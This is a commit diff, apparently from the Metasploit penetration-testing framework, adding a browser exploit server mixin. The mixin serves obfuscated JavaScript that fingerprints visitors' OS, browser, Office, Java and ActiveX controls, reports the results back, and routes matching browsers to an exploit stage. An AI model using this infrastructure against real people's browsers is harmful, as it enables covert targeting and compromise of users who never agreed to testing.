Land #2613, @wchen-r7's BrowserExploitServer mixin
commit
ef6d9db48f
|
@ -1,9 +1,47 @@
|
||||||
window.addons_detect = { };
|
window.ie_addons_detect = { };
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns true if this ActiveX is available, otherwise false.
|
||||||
|
* Grabbed this directly from browser_autopwn.rb
|
||||||
|
**/
|
||||||
|
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
|
||||||
|
var axobj = null;
|
||||||
|
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
|
||||||
|
axobj = document.createElement("object");
|
||||||
|
axobj.setAttribute("classid", "clsid:" + axo_name);
|
||||||
|
axobj.setAttribute("id", axo_name);
|
||||||
|
axobj.setAttribute("style", "visibility: hidden");
|
||||||
|
axobj.setAttribute("width", "0px");
|
||||||
|
axobj.setAttribute("height", "0px");
|
||||||
|
document.body.appendChild(axobj);
|
||||||
|
if (typeof(axobj[method]) == 'undefined') {
|
||||||
|
var attributes = 'id="' + axo_name + '"';
|
||||||
|
attributes += ' classid="clsid:' + axo_name + '"';
|
||||||
|
attributes += ' style="visibility: hidden"';
|
||||||
|
attributes += ' width="0px" height="0px"';
|
||||||
|
document.body.innerHTML += "<object " + attributes + "></object>";
|
||||||
|
axobj = document.getElementById(axo_name);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
axobj = new ActiveXObject(axo_name);
|
||||||
|
} catch(e) {
|
||||||
|
// If we can't build it with an object tag and we can't build it
|
||||||
|
// with ActiveXObject, it can't be built.
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
if (typeof(axobj[method]) != 'undefined') {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Returns the version of Microsoft Office. If not found, returns null.
|
* Returns the version of Microsoft Office. If not found, returns null.
|
||||||
**/
|
**/
|
||||||
window.addons_detect.getMsOfficeVersion = function () {
|
window.ie_addons_detect.getMsOfficeVersion = function () {
|
||||||
var version;
|
var version;
|
||||||
var types = new Array();
|
var types = new Array();
|
||||||
for (var i=1; i <= 5; i++) {
|
for (var i=1; i <= 5; i++) {
|
|
@ -0,0 +1,64 @@
|
||||||
|
window.misc_addons_detect = { };
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the Java version
|
||||||
|
**/
|
||||||
|
window.misc_addons_detect.getJavaVersion = function () {
|
||||||
|
var foundVersion = null;
|
||||||
|
|
||||||
|
//
|
||||||
|
// This finds the Java version from Java WebStart's ActiveX control
|
||||||
|
// This is specific to Windows
|
||||||
|
//
|
||||||
|
for (var i1=0; i1 < 10; i1++) {
|
||||||
|
for (var i2=0; i2 < 10; i2++) {
|
||||||
|
for (var i3=0; i3 < 10; i3++) {
|
||||||
|
for (var i4=0; i4 < 10; i4++) {
|
||||||
|
var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
|
||||||
|
var progId = "JavaWebStart.isInstalled." + version;
|
||||||
|
try {
|
||||||
|
new ActiveXObject(progId);
|
||||||
|
return version;
|
||||||
|
}
|
||||||
|
catch (e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}}}}
|
||||||
|
|
||||||
|
//
|
||||||
|
// This finds the Java version from window.navigator.mimeTypes
|
||||||
|
// This seems to work pretty well for most browsers except for IE
|
||||||
|
//
|
||||||
|
if (foundVersion == null) {
|
||||||
|
var mimes = window.navigator.mimeTypes;
|
||||||
|
for (var i=0; i<mimes.length; i++) {
|
||||||
|
var m = /java.+;version=(.+)/.exec(mimes[i].type);
|
||||||
|
if (m) {
|
||||||
|
var version = parseFloat(m[1]);
|
||||||
|
if (version > foundVersion) {
|
||||||
|
foundVersion = version;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// This finds the Java version from navigator plugins
|
||||||
|
// This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
|
||||||
|
// So we do this last.
|
||||||
|
//
|
||||||
|
if (foundVersion == null) {
|
||||||
|
var foundJavaString = "";
|
||||||
|
var pluginsCount = navigator.plugins.length;
|
||||||
|
for (i=0; i < pluginsCount; i++) {
|
||||||
|
var pluginName = navigator.plugins[i].name;
|
||||||
|
var pluginVersion = navigator.plugins[i].version;
|
||||||
|
if (/Java/.test(pluginName) && pluginVersion != undefined) {
|
||||||
|
foundVersion = navigator.plugins[i].version;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return foundVersion;
|
||||||
|
}
|
|
@ -867,6 +867,12 @@ window.os_detect.getVersion = function(){
|
||||||
os_flavor = "7";
|
os_flavor = "7";
|
||||||
os_sp = "SP1";
|
os_sp = "SP1";
|
||||||
break;
|
break;
|
||||||
|
case "10016720":
|
||||||
|
// IE 10.0.9200.16721 / Windows 7 SP1
|
||||||
|
ua_version = "10.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
case "1000":
|
case "1000":
|
||||||
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
||||||
ua_version = "10.0";
|
ua_version = "10.0";
|
||||||
|
|
|
@ -1,25 +1,16 @@
|
||||||
function ajax_download(oArg) {
|
function ajax_download(oArg) {
|
||||||
var method = oArg.method;
|
if (!oArg.method) { oArg.method = "GET"; }
|
||||||
var path = oArg.path;
|
if (!oArg.path) { throw "Missing parameter 'path'"; }
|
||||||
var data = oArg.data;
|
if (!oArg.data) { oArg.data = null; }
|
||||||
|
|
||||||
if (method == undefined) { method = "GET"; }
|
var xmlHttp = new XMLHttpRequest();
|
||||||
if (method == path) { throw "Missing parameter 'path'"; }
|
|
||||||
if (data == undefined) { data = null; }
|
|
||||||
|
|
||||||
if (window.XMLHttpRequest) {
|
|
||||||
xmlHttp = new XMLHttpRequest();
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (xmlHttp.overrideMimeType) {
|
if (xmlHttp.overrideMimeType) {
|
||||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||||
}
|
}
|
||||||
|
|
||||||
xmlHttp.open(method, path, false);
|
xmlHttp.open(oArg.method, oArg.path, false);
|
||||||
xmlHttp.send(data);
|
xmlHttp.send(oArg.data);
|
||||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||||
return xmlHttp.responseText;
|
return xmlHttp.responseText;
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,10 @@
|
||||||
|
function postInfo(path, data) {
|
||||||
|
var xmlHttp = new XMLHttpRequest();
|
||||||
|
|
||||||
|
if (xmlHttp.overrideMimeType) {
|
||||||
|
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||||
|
}
|
||||||
|
|
||||||
|
xmlHttp.open('POST', path, false);
|
||||||
|
xmlHttp.send(data);
|
||||||
|
}
|
|
@ -0,0 +1,15 @@
|
||||||
|
if (!window.XMLHTTPRequest) {
|
||||||
|
(function() {
|
||||||
|
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
|
||||||
|
for (idx = 0; idx < activeObjs.length; idx++) {
|
||||||
|
try {
|
||||||
|
new ActiveXObject(activeObjs[idx]);
|
||||||
|
window.XMLHttpRequest = function() {
|
||||||
|
return new ActiveXObject(activeObjs[idx]);
|
||||||
|
};
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
catch (e) {}
|
||||||
|
}
|
||||||
|
})();
|
||||||
|
}
|
|
@ -681,14 +681,6 @@ protected
|
||||||
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
||||||
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
||||||
], Exploit::Remote::HttpServer::HTML)
|
], Exploit::Remote::HttpServer::HTML)
|
||||||
|
|
||||||
# Cache Javascript
|
|
||||||
@cache_base64 = nil
|
|
||||||
@cache_ajax_download = nil
|
|
||||||
@cache_mstime_malloc = nil
|
|
||||||
@cache_property_spray = nil
|
|
||||||
@cache_heap_spray = nil
|
|
||||||
@cache_os_detect = nil
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -747,6 +739,14 @@ protected
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Transfers data using a POST request
|
||||||
|
#
|
||||||
|
def js_ajax_post
|
||||||
|
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
|
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
|
||||||
# suitable for a no-spray technique. There should be an allocation that contains an array of
|
# suitable for a no-spray technique. There should be an allocation that contains an array of
|
||||||
|
@ -816,6 +816,14 @@ protected
|
||||||
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
|
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def js_ie_addons_detect
|
||||||
|
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
|
||||||
|
end
|
||||||
|
|
||||||
|
def js_misc_addons_detect
|
||||||
|
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
|
||||||
|
end
|
||||||
|
|
||||||
# Transmits a html response to the supplied client
|
# Transmits a html response to the supplied client
|
||||||
#
|
#
|
||||||
# HTML evasions are implemented here.
|
# HTML evasions are implemented here.
|
||||||
|
|
|
@ -97,3 +97,5 @@ require 'msf/core/exploit/winrm'
|
||||||
|
|
||||||
# WebApp
|
# WebApp
|
||||||
require 'msf/core/exploit/web'
|
require 'msf/core/exploit/web'
|
||||||
|
|
||||||
|
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||||
|
|
|
@ -0,0 +1,503 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'erb'
|
||||||
|
require 'rex/exploitation/js'
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
|
||||||
|
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Exploit::Remote::BrowserExploitServer
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
include Msf::Exploit::RopDb
|
||||||
|
|
||||||
|
PROXY_REQUEST_HEADER_SET = Set.new(
|
||||||
|
%w{
|
||||||
|
CLIENT_IP
|
||||||
|
FORWARDED
|
||||||
|
FORWARDED_FOR
|
||||||
|
FORWARDED_FOR_IP
|
||||||
|
HTTP_CLIENT_IP
|
||||||
|
HTTP_FORWARDED
|
||||||
|
HTTP_FORWARDED_FOR
|
||||||
|
HTTP_FORWARDED_FOR_IP
|
||||||
|
HTTP_PROXY_CONNECTION
|
||||||
|
HTTP_VIA
|
||||||
|
HTTP_X_FORWARDED
|
||||||
|
HTTP_X_FORWARDED_FOR
|
||||||
|
VIA
|
||||||
|
X_FORWARDED
|
||||||
|
X_FORWARDED_FOR
|
||||||
|
})
|
||||||
|
|
||||||
|
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||||
|
REQUIREMENT_KEY_SET = {
|
||||||
|
:source => 'source', # Either 'script' or 'headers'
|
||||||
|
:ua_name => 'ua_name', # Example: MSIE
|
||||||
|
:ua_ver => 'ua_ver', # Example: 8.0, 9.0
|
||||||
|
:os_name => 'os_name', # Example: Microsoft Windows
|
||||||
|
:os_flavor => 'os_flavor', # Example: XP, 7
|
||||||
|
:language => 'language', # Example: en-us
|
||||||
|
:arch => 'arch', # Example: x86
|
||||||
|
:proxy => 'proxy', # 'true' or 'false'
|
||||||
|
:office => 'office', # Example: "2007", "2010"
|
||||||
|
:java => 'java', # Example: 1.6, 1.6.0.0
|
||||||
|
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
|
||||||
|
:method => 'method' # ActiveX method. Also requires the :clsid key
|
||||||
|
}
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super
|
||||||
|
|
||||||
|
# The mixin keeps 'target' so module doesn't lose it.
|
||||||
|
@target = target
|
||||||
|
|
||||||
|
# See get_profile's documentation to understand what @target_profiles stores
|
||||||
|
@target_profiles = {}
|
||||||
|
|
||||||
|
# Requirements are conditions that the browser must have in order to be exploited.
|
||||||
|
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
|
||||||
|
|
||||||
|
@info_receiver_page = rand_text_alpha(5)
|
||||||
|
@exploit_receiver_page = rand_text_alpha(6)
|
||||||
|
@noscript_receiver_page = rand_text_alpha(7)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
|
||||||
|
], Exploit::Remote::BrowserExploitServer)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Syncs a block of code
|
||||||
|
#
|
||||||
|
# @param block [Proc] Block of code to sync
|
||||||
|
#
|
||||||
|
def sync(&block)
|
||||||
|
(@mutex ||= Mutex.new).synchronize(&block)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||||
|
#
|
||||||
|
# @return [String] URI to the exploit page
|
||||||
|
#
|
||||||
|
def get_module_resource
|
||||||
|
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the current target
|
||||||
|
#
|
||||||
|
def get_target
|
||||||
|
@target
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns a hash of recognizable requirements
|
||||||
|
#
|
||||||
|
# @param reqs [Hash] A hash that contains data for the requirements
|
||||||
|
# @return [Hash] A hash of requirements
|
||||||
|
#
|
||||||
|
def extract_requirements(reqs)
|
||||||
|
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
|
||||||
|
# Make sure keys are always symbols
|
||||||
|
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the target automatically based on what requirements are met.
|
||||||
|
# If there's a possible matching target, it will also merge the requirements.
|
||||||
|
# You can use the get_target() method to retrieve the most current target.
|
||||||
|
#
|
||||||
|
# @param profile [Hash] The profile to check
|
||||||
|
#
|
||||||
|
def try_set_target(profile)
|
||||||
|
match_counts = []
|
||||||
|
target_requirements = {}
|
||||||
|
|
||||||
|
targets.each do |t|
|
||||||
|
target_requirements = extract_requirements(t.opts)
|
||||||
|
if target_requirements.blank?
|
||||||
|
match_counts << 0
|
||||||
|
else
|
||||||
|
match_counts << target_requirements.select { |k,v|
|
||||||
|
if v.class == Regexp
|
||||||
|
profile[k] =~ v
|
||||||
|
else
|
||||||
|
profile[k] == v
|
||||||
|
end
|
||||||
|
}.length
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if match_counts.max.to_i > 0
|
||||||
|
@target = targets[match_counts.index(match_counts.max)]
|
||||||
|
target_requirements = extract_requirements(@target.opts)
|
||||||
|
unless target_requirements.blank?
|
||||||
|
@requirements = @requirements.merge(target_requirements)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns an array of items that do not meet the requirements
|
||||||
|
#
|
||||||
|
# @param profile [Hash] The profile to check
|
||||||
|
# @return [Array] An array of requirements not met
|
||||||
|
#
|
||||||
|
def get_bad_requirements(profile)
|
||||||
|
bad_reqs = []
|
||||||
|
|
||||||
|
# At this point the check is already done.
|
||||||
|
# If :activex is true, that means the clsid + method had a match,
|
||||||
|
# if not, then false.
|
||||||
|
if @requirements[:clsid] and @requirements[:method]
|
||||||
|
@requirements[:activex] = 'true' # Script passes boolean as string
|
||||||
|
end
|
||||||
|
|
||||||
|
@requirements.each do |k, v|
|
||||||
|
# Special keys to ignore because the script registers this as [:activex] = true or false
|
||||||
|
next if k == :clsid or k == :method
|
||||||
|
|
||||||
|
if v.class == Regexp
|
||||||
|
bad_reqs << k if profile[k.to_sym] !~ v
|
||||||
|
else
|
||||||
|
bad_reqs << k if profile[k.to_sym] != v
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
bad_reqs
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||||
|
# 'cookie' =>
|
||||||
|
# {
|
||||||
|
# :os_name => 'Windows',
|
||||||
|
# :os_flavor => 'something'
|
||||||
|
# ...... etc ......
|
||||||
|
# }
|
||||||
|
# A profile should at least have info about the following:
|
||||||
|
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
|
||||||
|
# should be more accurate in some scenarios like browser compatibility mode
|
||||||
|
# :ua_name : The name of the browser
|
||||||
|
# :ua_ver : The version of the browser
|
||||||
|
# :os_name : The name of the OS
|
||||||
|
# :os_flavor : The flavor of the OS (example: XP)
|
||||||
|
# :language : The system's language
|
||||||
|
# :arch : The system's arch
|
||||||
|
# :proxy : Indicates whether proxy is used
|
||||||
|
#
|
||||||
|
# For more info about what the actual value might be for each key, see HttpServer.
|
||||||
|
#
|
||||||
|
# If the source is 'script', the profile might have even more information about plugins:
|
||||||
|
# 'office' : The version of Microsoft Office (IE only)
|
||||||
|
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
||||||
|
# 'java' : The Java version
|
||||||
|
#
|
||||||
|
# @param tag [String] Either a cookie or IP + User-Agent
|
||||||
|
# @return [Hash] The profile found. If not found, returns nil
|
||||||
|
#
|
||||||
|
def get_profile(tag)
|
||||||
|
sync do
|
||||||
|
return @target_profiles[tag]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Updates information for a specific profile
|
||||||
|
#
|
||||||
|
# @param target_profile [Hash] The profile to update
|
||||||
|
# @param key [Symbol] The symbol to use for the hash
|
||||||
|
# @param value [String] The value to assign
|
||||||
|
#
|
||||||
|
def update_profile(target_profile, key, value)
|
||||||
|
sync do
|
||||||
|
target_profile[key] = value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Initializes a profile
|
||||||
|
#
|
||||||
|
# @param tag [String] A unique string as a way to ID the profile
|
||||||
|
#
|
||||||
|
def init_profile(tag)
|
||||||
|
sync do
|
||||||
|
@target_profiles[tag] = {}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Retrieves a tag.
|
||||||
|
# First it obtains the tag from the browser's "Cookie" header.
|
||||||
|
# If the header is empty (possible if the browser has cookies disabled),
|
||||||
|
# then it will return a tag based on IP + the user-agent.
|
||||||
|
#
|
||||||
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
|
#
|
||||||
|
def retrieve_tag(request)
|
||||||
|
tag = request.headers['Cookie'].to_s
|
||||||
|
|
||||||
|
if tag.blank?
|
||||||
|
# Browser probably doesn't allow cookies, plan B :-/
|
||||||
|
ip = cli.peerhost
|
||||||
|
os = request.headers['User-Agent']
|
||||||
|
tag = Rex::Text.md5("#{ip}#{os}")
|
||||||
|
end
|
||||||
|
|
||||||
|
tag
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Registers target information to @target_profiles
|
||||||
|
#
|
||||||
|
# @param source [Symbol] Either :script, or :headers
|
||||||
|
# @param cli [Socket] Socket for the browser
|
||||||
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
|
#
|
||||||
|
def process_browser_info(source, cli, request)
|
||||||
|
tag = retrieve_tag(request)
|
||||||
|
|
||||||
|
# Browser doesn't allow cookies. Can't track that, use a different way to track.
|
||||||
|
init_profile(tag) if request.headers['Cookie'].blank?
|
||||||
|
target_info = get_profile(tag)
|
||||||
|
|
||||||
|
# Gathering target info from the detection stage
|
||||||
|
case source
|
||||||
|
when :script
|
||||||
|
# Gathers target data from a POST request
|
||||||
|
update_profile(target_info, :source, 'script')
|
||||||
|
raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body))
|
||||||
|
raw.split('&').each do |item|
|
||||||
|
k, v = item.scan(/(\w+)=(.*)/).flatten
|
||||||
|
update_profile(target_info, k.to_sym, v)
|
||||||
|
end
|
||||||
|
|
||||||
|
when :headers
|
||||||
|
# Gathers target data from headers
|
||||||
|
# This may be less accurate, and most likely less info.
|
||||||
|
fp = fingerprint_user_agent(request.headers['User-Agent'])
|
||||||
|
# Module has all the info it needs, ua_string is kind of pointless.
|
||||||
|
# Kill this to save space.
|
||||||
|
fp.delete(:ua_string)
|
||||||
|
update_profile(target_info, :source, 'headers')
|
||||||
|
fp.each do |k, v|
|
||||||
|
update_profile(target_info, k.to_sym, v)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Other detections
|
||||||
|
update_profile(target_info, :proxy, has_proxy?(request))
|
||||||
|
update_profile(target_info, :language, request.headers['Accept-Language'] || '')
|
||||||
|
|
||||||
|
report_client({
|
||||||
|
:host => cli.peerhost,
|
||||||
|
:ua_string => request.headers['User-Agent'],
|
||||||
|
:ua_name => target_info[:ua_name],
|
||||||
|
:ua_ver => target_info[:ua_ver]
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Checks if the target is running a proxy
|
||||||
|
#
|
||||||
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
|
# @return [Boolean] True if found, otherwise false
|
||||||
|
#
|
||||||
|
def has_proxy?(request)
|
||||||
|
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
||||||
|
!proxy_header_set.empty?
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the code for client-side detection
|
||||||
|
#
|
||||||
|
# @param user_agent [String] The user-agent of the browser
|
||||||
|
# @return [String] Returns the HTML for detection
|
||||||
|
#
|
||||||
|
def get_detection_html(user_agent)
|
||||||
|
ua_info = fingerprint_user_agent(user_agent)
|
||||||
|
os = ua_info[:os_name]
|
||||||
|
client = ua_info[:ua_name]
|
||||||
|
|
||||||
|
code = ERB.new(%Q|
|
||||||
|
<%= js_base64 %>
|
||||||
|
<%= js_os_detect %>
|
||||||
|
<%= js_ajax_post %>
|
||||||
|
<%= js_misc_addons_detect %>
|
||||||
|
<%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
|
||||||
|
|
||||||
|
function objToQuery(obj) {
|
||||||
|
var q = [];
|
||||||
|
for (var key in obj) {
|
||||||
|
q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
|
||||||
|
}
|
||||||
|
return Base64.encode(q.join('&'));
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
var osInfo = window.os_detect.getVersion();
|
||||||
|
var d = {
|
||||||
|
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
|
||||||
|
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
|
||||||
|
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
|
||||||
|
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
|
||||||
|
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
|
||||||
|
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion()
|
||||||
|
};
|
||||||
|
|
||||||
|
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
|
||||||
|
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
|
||||||
|
<%
|
||||||
|
clsid = @requirements[:clsid]
|
||||||
|
method = @requirements[:method]
|
||||||
|
if clsid and method
|
||||||
|
%>
|
||||||
|
d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||||
|
<% end %>
|
||||||
|
<% end %>
|
||||||
|
|
||||||
|
var query = objToQuery(d);
|
||||||
|
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query);
|
||||||
|
window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/";
|
||||||
|
}
|
||||||
|
|).result(binding())
|
||||||
|
|
||||||
|
js = ::Rex::Exploitation::JSObfu.new code
|
||||||
|
js.obfuscate
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
<script>
|
||||||
|
#{js}
|
||||||
|
</script>
|
||||||
|
<noscript>
|
||||||
|
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
||||||
|
<meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/">
|
||||||
|
</noscript>
|
||||||
|
|
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Handles exploit stages.
|
||||||
|
#
|
||||||
|
# @param cli [Socket] Socket for the browser
|
||||||
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
|
#
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
case request.uri
|
||||||
|
when get_resource.chomp("/")
|
||||||
|
#
|
||||||
|
# This is the information gathering stage
|
||||||
|
#
|
||||||
|
if get_profile(retrieve_tag(request))
|
||||||
|
send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Gathering target information.")
|
||||||
|
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
|
||||||
|
ua = request.headers['User-Agent']
|
||||||
|
init_profile(tag)
|
||||||
|
html = get_detection_html(ua)
|
||||||
|
send_response(cli, html, {'Set-Cookie' => tag})
|
||||||
|
|
||||||
|
when /#{@info_receiver_page}/
|
||||||
|
#
|
||||||
|
# The detection code will hit this if Javascript is enabled
|
||||||
|
#
|
||||||
|
process_browser_info(source=:script, cli, request)
|
||||||
|
send_response(cli, '')
|
||||||
|
|
||||||
|
when /#{@noscript_receiver_page}/
|
||||||
|
#
|
||||||
|
# The detection code will hit this instead of Javascript is disabled
|
||||||
|
# Should only be triggered by the img src in <noscript>
|
||||||
|
#
|
||||||
|
process_browser_info(source=:headers, cli, request)
|
||||||
|
send_not_found(cli)
|
||||||
|
|
||||||
|
when /#{@exploit_receiver_page}/
|
||||||
|
#
|
||||||
|
# This sends the actual exploit. A module should define its own
|
||||||
|
# on_request_exploit() to get the target information
|
||||||
|
#
|
||||||
|
tag = retrieve_tag(request)
|
||||||
|
profile = get_profile(tag)
|
||||||
|
if profile[:tried] and datastore['Retries'] == false
|
||||||
|
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
|
||||||
|
send_not_found(cli)
|
||||||
|
else
|
||||||
|
update_profile(profile, :tried, true)
|
||||||
|
try_set_target(profile)
|
||||||
|
bad_reqs = get_bad_requirements(profile)
|
||||||
|
if bad_reqs.empty?
|
||||||
|
method(:on_request_exploit).call(cli, request, profile)
|
||||||
|
else
|
||||||
|
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
|
||||||
|
send_not_found(cli)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
send_not_found(cli)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Overriding method. The module should override this.
|
||||||
|
#
|
||||||
|
# @param cli [Socket] Socket for the browser
|
||||||
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
|
# @param browser_info [Hash] The target profile
|
||||||
|
#
|
||||||
|
def on_request_exploit(cli, request, browser_info)
|
||||||
|
raise NoMethodError, "Module must define its own on_request_exploit method"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Converts an ERB-based exploit template into HTML, and sends to client
|
||||||
|
#
|
||||||
|
# @param cli [Socket] Socket for the browser
|
||||||
|
# @param template [String] The ERB template. If you want to pass the binding object,
|
||||||
|
# then this is handled as an Array, with the first element
|
||||||
|
# being the HTML, and the second element is the binding object.
|
||||||
|
# @param headers [Hash] The custom HTTP headers to include in the response
|
||||||
|
#
|
||||||
|
def send_exploit_html(cli, template, headers={})
|
||||||
|
html = ''
|
||||||
|
if template.class == Array
|
||||||
|
html = ERB.new(template[0]).result(template[1])
|
||||||
|
else
|
||||||
|
html = ERB.new(template).result
|
||||||
|
end
|
||||||
|
send_response(cli, html, headers)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
